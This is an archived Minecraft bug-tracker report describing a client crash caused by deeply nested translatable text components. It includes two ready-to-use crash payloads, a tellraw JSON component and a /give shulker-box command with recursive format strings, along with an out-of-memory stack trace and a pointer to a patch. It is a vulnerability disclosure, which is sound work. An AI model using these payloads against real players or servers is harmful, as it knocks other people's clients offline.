Mojira Archive
MC-268726

Nested component soft-crashes client

Sending the following json component to a player (e.g. via a command block and the tellraw command) will immediately freeze and shortly after kick the client from running out of memory. Not entirely sure where else this is exploitable, but definitely from non-op creative mode clients as well.

After that, you're also unable to join any servers until you fully restart the client, just being stuck in the "Joining world" screen. A similar issue happens when trying to join a survival world before restarting.

How to reproduce
Two examples of doing the same thing, both components you can also put into a tellraw command. For the shulker box, you need to place and open it (meaning a creative mode client with a saved hotbar can easily place it and wait to crash other people/servers).
Depending on the method, you will either immediately OOM and crash or permanently freeze

{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":["root","",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]} 
/give @a minecraft:shulker_box[minecraft:custom_name='{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":["hhhhhhhhhh"]}]}]}]}]}]}]}]}]}]}]}']

 

Possible fix
Paper's bandaid fix checks for nesting levels during individual translatable visits: https://github.com/PaperMC/Paper/blob/d348cb88a9fe8d19e46102c8b9febe18f746d46b/patches/server/0945-Improve-tag-parser-handling.patch#L199 lines 199-233,

 

OOM error

[11:39:37] [Render thread/ERROR]: Out of memory
java.lang.OutOfMemoryError: Java heap space
    at java.util.Arrays.copyOf(Arrays.java:3537) ~[?:?]
    at java.lang.AbstractStringBuilder.ensureCapacityInternal(AbstractStringBuilder.java:228) ~[?:?]
    at java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:802) ~[?:?]
    at java.lang.StringBuilder.append(StringBuilder.java:246) ~[?:?]
    at java.lang.StringBuilder.append(StringBuilder.java:91) ~[?:?]
    at java.lang.AbstractStringBuilder.appendCodePoint(AbstractStringBuilder.java:947) ~[?:?]
    at java.lang.StringBuilder.appendCodePoint(StringBuilder.java:280) ~[?:?]
    at avj.a(SourceFile:143) ~[1.20.4.jar:?]
    at avj$$Lambda$6881/0x0000000800da4610.accept(Unknown Source) ~[?:?]
    at avj.a(SourceFile:17) ~[1.20.4.jar:?]
    at avj.a(SourceFile:120) ~[1.20.4.jar:?]
    at avj.a(SourceFile:84) ~[1.20.4.jar:?]
    at avj.a(SourceFile:128) ~[1.20.4.jar:?]
    at avj$$Lambda$6042/0x0000000800bbe200.accept(Unknown Source) ~[?:?]
    at vk$2.a(SourceFile:37) ~[1.20.4.jar:?]
    at wq.a(SourceFile:185) ~[1.20.4.jar:?]
    at vf.a(SourceFile:96) ~[1.20.4.jar:?]
    at wq.a(SourceFile:185) ~[1.20.4.jar:?]
    at vf.a(SourceFile:96) ~[1.20.4.jar:?]
    at wq.a(SourceFile:185) ~[1.20.4.jar:?]
    at vf.a(SourceFile:96) ~[1.20.4.jar:?]
    at wq.a(SourceFile:185) ~[1.20.4.jar:?]
    at vf.a(SourceFile:96) ~[1.20.4.jar:?]
    at wq.a(SourceFile:185) ~[1.20.4.jar:?]
    at vf.a(SourceFile:96) ~[1.20.4.jar:?]
    at wq.a(SourceFile:185) ~[1.20.4.jar:?]
    at vf.a(SourceFile:96) ~[1.20.4.jar:?]
    at wq.a(SourceFile:185) ~[1.20.4.jar:?]
    at vf.a(SourceFile:96) ~[1.20.4.jar:?]
    at wq.a(SourceFile:185) ~[1.20.4.jar:?]
    at vf.a(SourceFile:96) ~[1.20.4.jar:?]
    at wq.a(SourceFile:185) ~[1.20.4.jar:?]
 

Unresolved

[Mod] Nassim Jahnke

2024-02-23, 10:45 AM

2025-01-02, 08:24 AM

2

2

Confirmed

Important

Platform

Commands, Crash

1.20.4 - 1.21.31.20.4, 24w12a, 1.20.5 Release Candidate 2, 1.20.6, 1.21, 1.21.1, 1.21.3

-